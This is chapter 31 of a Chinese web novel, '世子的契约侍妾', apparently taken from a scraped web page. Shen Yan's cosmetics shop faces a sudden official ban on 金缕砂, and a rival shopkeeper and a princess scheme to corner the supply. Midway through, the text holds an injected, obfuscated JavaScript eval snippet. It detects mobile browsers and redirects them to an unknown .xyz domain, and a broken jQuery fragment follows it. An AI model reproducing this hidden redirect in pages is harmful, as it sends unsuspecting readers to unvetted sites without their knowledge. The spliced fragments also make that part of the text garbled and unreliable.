31. 禁令
作品:《世子的契约侍妾》 沈妍一愕,完全没料到元琛会同她计较这些。
再说,她怎么能为这种事情找他?
“世子日理万机,还有正事要忙,妾怎能为一点小事麻烦您。”
一番好言解释,却不料元琛听完好像更生气了,一开口声音阴恻恻的,像从齿缝里挤出来:“那你就不怕麻烦高云锡?”
沈妍:“……”
人家只是顺手帮忙而已。
“你跟他很熟?”元琛不依不饶,黑着脸继续追问。
沈妍不知为何,瞧着他莫名有点瘆得慌,磕磕绊绊道:“……也不算很熟……就从前在晋国公府,钦国公他——”
“够了,我不想听。”元琛突然打断她,言罢头也不回地走了。
留下沈妍一脸懵地站在原地。
——这个人真是莫名其妙啊!
*
之后一段日子,除了赴宴时演戏外,元琛很少再主动与沈妍搭话。
除此以外,他还特意吩咐沈妍早起不必送他。
再就是,他每日早出晚归,忙得不见人影,就算偶有碰面,也只是冲她略点下头便匆匆离开。
对沈妍而言,不必同卫世子打交道,她倒能腾出更多精力忙店里的事。
这期间,她收到了不少贵女的回礼,有各色糕点,小食,绣帕,香囊……不一而足,大都出自闺阁手作。
回礼通常还都附有字签,字里行间感谢她在牡丹宴及其后的慷慨相赠。
另外,点绛唇接待的贵客也日益增多。
这日,从兰竹轩出门前,小满将整理好的一沓字签码在桌案上,边拿镇纸压住,边喜滋滋向沈妍道:“有这么多贵人娘子给主子捧场,点绛唇的生意必定会越来越好。”
沈妍听得眼尾上扬:“但愿吧。”言罢和小满精神抖擞地出了门。
刚踏进点绛唇,掌柜刘骥云便一脸凝重地朝她走来:“东家,不好了,咱们库房的金缕砂快用完了。今早我跑遍了东西两市,到处都买不到货。听说官府昨日突然下了禁售令,之前还高价买空了两市的货源。”
眼下京城贵女圈的衣饰盛行绯、紫、杏、金、绿等富贵、浓郁色泽。
而金缕砂以其暖红金底色,兼具金砂莹光,显色富丽浓艳,与衣饰搭配起来浑然天成,故而在上都贵女圈大为风靡。
不过由于金缕砂非中原物产,而是由西北开采后远道运来,是以造价十分昂贵。
可架不住这玩意太受欢迎,如今但凡有点名气的胭脂铺、口脂店,为了撑门面,多少都会备上几样金缕砂色的高档货品售卖。
点绛唇刚在贵女圈打响名声,故而,近日得了不少份金缕砂色口脂订单。
此刻听刘骥云说完,沈妍不由心下一沉,问刘骥云:“剩下的存货还够凑齐订单吗?”
刘骥云皱眉摇了摇头。
沈妍不解:“好端端的,官府为何禁售金缕砂?还这么突然。”
“我已叫人出去打听了。”刘骥云道。
正说着,派出去办事的伙计仇满仓急匆匆闯进门。
“怎么样了?”刘骥云迎上前问。
仇满仓摇头,上气不接下气道:“……没人知道什么原因,据说,眼下除了凝香楼,各大店铺全都断了供。”
沈妍和刘骥云相视一眼,几乎异口同声:“去私市看看。”
*
帝京城南,紧邻通济坊有间破庙。庙宇年久失修,漏风漏雨,早已不知名号。
然以此庙为中心,前后荒凉的土路两侧,此时此刻却挤满了大大小小的商贩,有西域人士,也有当地土著,三教九流,各色人等络绎不绝。
这里就是上都最有名的黑市一条街。
各种来路不明的古董、赃物、禁品、走私货……五花八门,林林总总,例来皆在此地交易,这是自前朝以来便形成的传统。
沈妍、刘骥云和丁香三人赶到私市前,刘骥云已吩咐得力的伙计前往打探情报,只是人一直未归,刘骥云猜测,事情多半并不顺利。
路上,他对沈妍说起此事。
沈妍点头道:“不急,先看看情况再说。”此行她本就未报太大希望。
他们能想到私市,别家店铺自然也能想到。
加上私市上货品本就不多,此行无非是探听一下消息,碰碰运气罢了。
结果入市的一路,单是口脂店掌柜他们就遇见了四位。
可见大伙全想一块去了。
沈妍看几位掌柜全都肃着一张脸,视线相触,彼此都心照不宣地叹了口气。
看来情况比想象中还要糟糕。
前方一处摊位旁,几名衙役正呼喝着缉拿摊主。
那摊主显然极不服气,边奋力挣扎,边大声叫嚷:“你们凭什么抓我?老子在这摆摊多年,从来卖的都是这几样东西,我犯了什么罪?”
“废话!”一名官差头目扭紧他的胳膊,厉喝道,“官府已明令禁售金缕砂,你还敢偷偷售卖,不抓你抓谁?”
边说,他边指挥手下把该摊位的金缕砂全部抄走。
这一杀鸡儆猴的举动立时惊动了周边的摊主。不少人害怕沾上官府,甚至主动将自家的存货上缴,还有些摊主则忙着收摊撤柜。
黑市售卖之物本就处于模糊地带,摊主们瞧见这阵势,哪个还敢往刀口上撞?
这边的骚动很快吸引了附近客人和前来购买的人群,不少人看得怒气冲冲,怨声载道。
“官府禁令下得如此突然,我们之前的订单怎么办?损失谁来赔?”
“就是!再说既然要截断货源,众商户便该一视同仁,为何凝香楼就能例外?”
“是啊,我今早还看见凝香楼新上了一批金缕砂。”
“八成是有狗官拿了凝香楼的好处,中饱私囊吧?”
“有道理,这些人可没少干这种事。”
“去去去,让开!让开!”几名衙役上前开道,驱赶着人群。
此时,忽听人群中一老者的声音高叫道:“各位老板、掌柜,老夫今日要拟一份状纸,将金缕砂禁令之事上告,有谁想要一起?”
沈妍认得说话的老者乃是红妆坊的赵老板。此人经营胭脂铺多年,在京中算是这一行德高望重的行首。
话音落下,周遭立时有不少人高高举手响应。其中领头的几位老板一拍即合,决定就此不合理的禁令拟一份状纸,联名上告。
很快便有人找来笔墨纸张,拟好了一份状子。
沈妍见诸位老板纷纷上前,在状子后面填写姓名,也跟着挤上前去。
这边,她才写完姓名,后面人群中忽有人扬声道:“金缕砂乃贵人色,本就不该什么人都能售卖,官府将其交给某些有实力的店铺也在情理之中。”
这话说得盛气凌人,倨傲霸道,又在这风口浪尖力挺官府,故而话音落下,立时引来一片反感。
沈妍扭头向声音来处望去,只见李胭娘端坐在步辇上,边朝人群靠近,边拖着尾音慢条斯理道,“诸位老板有这份告状的心思,不如先想想如何解决眼前的订单吧。”
人群中识得李胭娘的掌柜不在少数,更有那依仗金缕砂吃饭的掌柜,如今一下子被夺去饭碗,听见这话,忍不住愤然声讨。
“你的凝香楼不愁货源,当然会如此说!”
“李掌柜得了多少好处?来这里帮官府说话?”
“哼,官商勾结,欺行霸市,说的就是李胭娘这种人!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421194|179632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
这边,刘骥云面露疑惑:“李胭娘在这种时候泼大家的冷水,这不是摆明要激起众怒吗?”
旁边,丁香冷哼一声,咬牙切齿:“瞧她那副高高在上的样子,真是要多欠揍有多欠揍!”
“不,”沈妍闻言却摇头道,“李胭娘没这么傻。”
话音落地,只见李胭娘在一片喝骂声中手臂平伸,不紧不慢对众言道:“刚刚莫老板说凝香楼不愁货源——”她不无自得地弯了弯唇,“说得对,我们凝香楼的确还有很多金缕砂,多得自己都用不完了。所以,有哪位老板想要,我李胭娘随时可以转卖给他,以解诸位的燃眉之急。”
她视线扫过一众老板、掌柜,“不过,这还要视诸位的表现。”
话音落地,周围瞬时一静。沈妍注意到适才不少联名告状的老板,此刻返回那张桌案,要求划掉自己的姓名。
这也难怪,比起靠漫长的告状伸张正义,当然是换个方式搞到金缕砂,来得实际稳妥。
眼下售卖金缕砂的渠道全部堵塞,李胭娘便可借助上位者的货源优势,加价售卖给其他店铺,在胭脂、口脂之外,额外多赚一大笔。
这才是李胭娘的如意算盘。
看着刚刚还义愤填膺的老板们,此时都争先恐后涌向李胭娘,沈妍缓缓摇了摇头,对刘骥云和丁香道:“走吧。”
*
凝香楼顶层茶室,李胭娘煮好茶汤后,斟了一盏,恭恭敬敬奉到桓莹玉面前。
“郡主放心,”站在茶桌旁,她对桓莹玉道,“这次您亲自出手切断了黑市的金缕砂货源,胭娘敢向您保证,姓沈的当初怎么吃下去的那批贵客,近日就得怎么吐出来。”
旁边圈椅上,桓莹玉不慌不忙呷了口茶,撂下建盏道:“我果然没看错人,李掌柜不愧是那个侍妾的克星。”
“郡主过奖。”李胭娘唇边轻漾,“那个姓沈的,不只郡主看不惯,此人也是小人的眼中钉肉中刺。总之,您就等着瞧好戏吧。”
桓莹玉颔首,起身将一枚令牌置于桌上:“最新一批货今日抵达驿站,届时,你可叫人凭此令牌拿货。”言罢,她提步向门口走去。
“是。”李胭娘欢喜地应承一声,朝桓莹玉的背影躬身下拜,“胭娘多谢郡主恩典!”
*
凝香楼外,目送平陵郡主的车轿消失在长街转角,李胭娘和菊芬返回店铺。
一名掌事伙计从后院库房赶来,大步至李胭娘跟前,叉手道:“掌柜,事情都办妥了。”
李胭娘点头,边提起裙摆上楼,边道:“你随我上来。”
那伙计应声,随李胭娘和菊芬上了顶楼茶室。
“掌柜,今日那批货均已高价售出,后面五日的订单也排满了。”掌事伙计志得意满道。
言罢似又想起什么,一顿,“另外,小人已将丑话说在前头,从凝香楼出去的金缕砂均有记录在案,不得再度转售。如有违背,被官府追究起来,凝香楼概不负责。客人们听后都争相签下了条款。”
“你办事,我放心。”李胭娘道。
那伙计又道:“此外,今日又来了好几笔订单,约莫是客人们听说了别家店金缕砂断供之事。”
闻言,李胭娘不无得意地轻哼一声:“甚好。”
掌事伙计却略作迟疑:“不过,那几笔订单数量都不少,以咱们作坊的产力——”
“无妨。”李胭娘毫不迟疑,“送上门的银子岂有不要的道理?让作坊加紧赶制即可。”
“是。”掌事伙计讨到示下,躬身退出。
这边,菊芬关好门回来,不无担忧地对李胭娘道:“主子,这次金缕砂一事,郡主搞出这么大动静——该不会惊动卫世子吧?”